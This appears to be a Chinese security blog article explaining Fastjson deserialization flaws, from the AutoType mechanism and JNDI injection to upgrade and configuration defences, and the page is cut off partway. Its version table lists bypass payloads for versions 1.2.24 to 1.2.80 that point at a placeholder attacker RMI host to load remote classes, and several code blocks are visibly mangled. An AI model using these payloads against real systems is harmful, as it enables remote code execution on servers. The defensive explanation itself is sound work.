Fastjson 反序列化漏洞深度解析:从原理到实战防护

作为 Java 生态中最常用的 JSON 解析库之一,Fastjson 因高性能被广泛应用于各类系统。但它的反序列化漏洞(尤其是 CVE-2022-25845)曾多次引发大规模安全事件 ------ 攻击者只需构造恶意 JSON 字符串,就能实现远程代码执行(RCE),直接控制服务器。本文将从漏洞原理切入,结合实战案例拆解各版本绕过技巧,最终给出企业级防护方案,帮你彻底规避风险。

一、Fastjson 漏洞核心原理:AutoType 机制是"罪魁祸首"

Fastjson 的反序列化漏洞本质是AutoType 机制的安全缺陷。该机制原本用于方便还原复杂对象类型,却被攻击者利用来加载恶意类,触发危险操作。

1.1 AutoType 机制的工作流程

当 Fastjson 解析含 @type 字段的 JSON 时,会按以下步骤执行:

  1. 提取类名 :从@type 字段中读取目标类全限定名(如com.sun.rowset.JdbcRowSetImpl)。
  2. 类加载 :通过ClassLoader 加载指定类,优先从缓存或配置中获取。
  3. 实例化对象:调用类的默认构造函数,或通过 setter 方法注入属性。
  4. 触发危险逻辑 :若类中存在 JNDI 查询、反射执行等危险方法(如JdbcRowSetImplsetDataSourceName),会在属性注入时自动触发,最终实现 RCE。

1.2 漏洞触发的关键链条

攻击者利用的核心是"setter 方法自动调用 "和"JNDI 注入"的组合:

  • setter 触发 :Fastjson 反序列化时,会自动调用对象所有属性的 setter 方法(即使是私有属性,加Feature.SupportNonPublicField 即可触发)。
  • JNDI 注入 :像JdbcRowSetImpl 这类类,在 setDataSourceName 方法中会发起 JNDI 查询。若传入攻击者控制的 RMI/LDAP 地址,服务器会加载远程恶意类,执行恶意代码。

二、Fastjson 关键 API 实战:序列化与反序列化

在分析漏洞前,先理清 Fastjson 的核心 API 用法 ------ 这是理解漏洞触发场景的基础。

2.1 依赖配置(漏洞版本与安全版本对比)

首先要明确:1.2.83 以下的 1.x 版本、2.0.45 以下的 2.x 版本均存在安全风险。实战中需避免使用漏洞版本。

xml 复制代码
<!-- 危险:1.2.24(CVE-2017-18349)、1.2.47(缓存绕过漏洞)等版本 -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.47</version> <!-- 漏洞版本,禁止使用 -->
</dependency>
 
<!-- 安全:1.2.x 系列推荐 1.2.83+,2.x 系列推荐 2.0.45+ -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version> <!-- 修复所有已知漏洞的版本 -->
</dependency>

2.2 核心 API 实战:以 User 类为例

先定义一个 User 类,在 getter/setter 中加打印语句,直观展示方法触发时机:

arduino 复制代码
package org.example;
 
public class User {
    private String name;
    private int age;
 
    // 无参构造(反序列化必须,否则会报错)public User() {}
 
    // 有参构造
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
 
    // getter:序列化时会自动调用(用于读取属性值)public String getName() {System.out.println("触发 getName():序列化读取 name");
        return name;
    }
 
    // setter:反序列化时会自动调用(用于注入属性值)public void setName(String name) {System.out.println("触发 setName():反序列化注入 name");
        this.name = name;
    }
 
    // 省略 age 的 getter/setter(逻辑同上)public int getAge() { return age;}
    public void setAge(int age) {this.age = age;}
 
    @Override
    public String toString() {return "User{name='" + name + "', age=" + age + "}";
    }
}

2.2.1 序列化:Java 对象转 JSON

核心方法是 JSON.toJSONString(),关键在于SerializerFeature 的配置(如 WriteClassName 会添加 @type 字段,为反序列化漏洞埋下隐患)。

perl 复制代码
public class FastjsonDemo {public static void main(String[] args) {User user = new User("张三", 25);
 
        // 1. 基础序列化:无 @type 字段
        String basicJson = JSON.toJSONString(user);
        System.out.println("基础序列化结果:" + basicJson);
        // 输出:触发 getName():序列化读取 name → 基础序列化结果:{"age":25,"name":"张三"}
 
        // 2. 带 @type 的序列化(开启 WriteClassName)String withTypeJson = JSON.toJSONString(
            user, 
            SerializerFeature.WriteClassName, // 添加 @type 字段
            SerializerFeature.PrettyFormat    // 格式化输出
        );
        System.out.println("带 @type 的序列化结果:\n" + withTypeJson);
        // 输出:触发 getName() → 带 @type 的序列化结果:// {
        //     "@type":"org.example.User",
        //     "age":25,
        //     "name":"张三"
        // }
    }
}

2.2.2 反序列化:JSON 转 Java 对象

核心方法是JSON.parseObject(),风险点集中在Feature.SupportAutoType(开启后允许解析@type)和Feature.SupportNonPublicField(允许注入私有属性)。

typescript 复制代码
public class FastjsonDemo {public static void main(String[] args) {String json = "{"@type":"org.example.User","age":25,"name":" 张三 "}";
 
        // 1. 基础反序列化:指定目标类
        User user1 = JSON.parseObject(json, User.class);
        System.out.println("基础反序列化结果:" + user1);
        // 输出:触发 setName() → 基础反序列化结果:User{name='张三', age=25}
 
        // 2. 开启 AutoType(高危!禁止在生产环境使用)User user2 = JSON.parseObject(
            json, 
            User.class, 
            Feature.SupportAutoType // 显式开启 AutoType,风险极高
        );
    }
}

三、各版本漏洞与绕过实战:从 1.2.24 到 1.2.80

Fastjson 官方曾多次修复漏洞,但攻击者不断找到绕过方法。下表整理了核心版本的漏洞点与实战 Payload,是漏洞检测和防护的关键参考。

影响版本 漏洞类型 核心绕过技巧 实战 Payload(关键片段) 注意事项
1.2.24 及以下 反序列化 RCE AutoType 默认开启,无黑名单 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} 无需额外配置,直接触发 JNDI 注入
1.2.25 ~ 1.2.41 黑名单绕过(L;) 用 JVM 类型描述符(L 开头;结尾) {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} 需服务端开启setAutoTypeSupport(true)
1.2.42 双写 L; 绕过 双写 L 和;(LL...;;) {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} 利用单次过滤缺陷,双写后自动截取
1.2.43 [符号绕过 类名前加 [,后加 [{闭合 {"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["Base64 编码的恶意字节码"]} 需加 Feature.SupportNonPublicField 注入私有属性
1.2.45 MyBatis 类绕过 利用JndiDataSourceFactory {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi:// 攻击者 IP:1099/ 恶意类"}} 需项目依赖 MyBatis
1.2.47 及以下 缓存污染绕过 先缓存恶意类到_classMappings {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类"}} 无需开启 AutoType,缓存跳过黑名单检查
1.2.80 及以下 $ref 引用链绕过 用 $ref 构造异常对象链 (CVE-2022-25845){"@type":"java.lang.Exception","@ref":"$..xx"} 利用异常处理逻辑触发类加载

关键版本绕过解析(以 1.2.47 缓存污染为例)

这是最危险的绕过方式之一 ------无需开启 AutoType,仅通过缓存机制就能绕过黑名单。核心逻辑是:

  1. 第一个 JSON 对象(a):通过 java.lang.Classval字段,将 com.sun.rowset.JdbcRowSetImpl 存入 Fastjson 的 _classMappings 缓存。
  2. 第二个 JSON 对象(b):直接用 @type 指定缓存中的类,Fastjson 会跳过黑名单检查,直接加载类并触发 JNDI 注入。

实战中,攻击者只需发送上述 JSON 字符串,目标服务器若使用 1.2.47 及以下版本,就会执行恶意代码。

四、企业级防护方案:从根源阻断漏洞

Fastjson 漏洞的防护核心是"关闭危险功能 + 及时升级 + 严格校验",以下是可落地的 4 个关键措施:

1. 强制升级到安全版本

这是最根本的防护手段。根据官方公告:

  • 1.x 系列:升级到 1.2.83 及以上(修复所有已知绕过漏洞)。
  • 2.x 系列:升级到 2.0.45 及以上(2.x 版本重构了 AutoType 机制,安全性更高)。

2. 禁用 AutoType 机制(关键配置)

即使升级版本,也建议禁用 AutoType(非必要不开启)。有 3 种配置方式:

继续阅读全文: Fastjson 反序列化漏洞深度解析:从原理到实战防护

相关推荐
月明长歌11 小时前
【码道初阶】【LeetCode 102】二叉树层序遍历:如何利用队列实现“一层一层切蛋糕”?
java·数据结构·算法·leetcode·职场和发展·队列
PFinal社区_南丞11 小时前
Git 那些不太常用但非常实用的命令
后端
沸腾_罗强11 小时前
GORM 软删除方案:使用 deleted_at 替代 is_deleted,用来支持表唯一索引创建
后端
codingPower11 小时前
制作ftl文件通过FreeMarke生成PDF文件(含图片处理)
java·开发语言·pdf
R.lin11 小时前
Spring AI Alibaba 1.1 正式发布!
java·后端·spring
程序员阿明11 小时前
spring security 6的知识点总结
java·后端·spring
tap.AI12 小时前
AI时代的云安全(四)云环境中AI模型的安全生命周期管理实践
人工智能·安全
李子园的李12 小时前
Java函数式接口——渐进式学习
java
running up12 小时前
Spring Bean生命周期- BeanDefinition 加载与 BeanFactoryPostProcessor BeanPostProcessor
java·后端·spring
光影少年12 小时前
web端安全问题有哪些?
前端·安全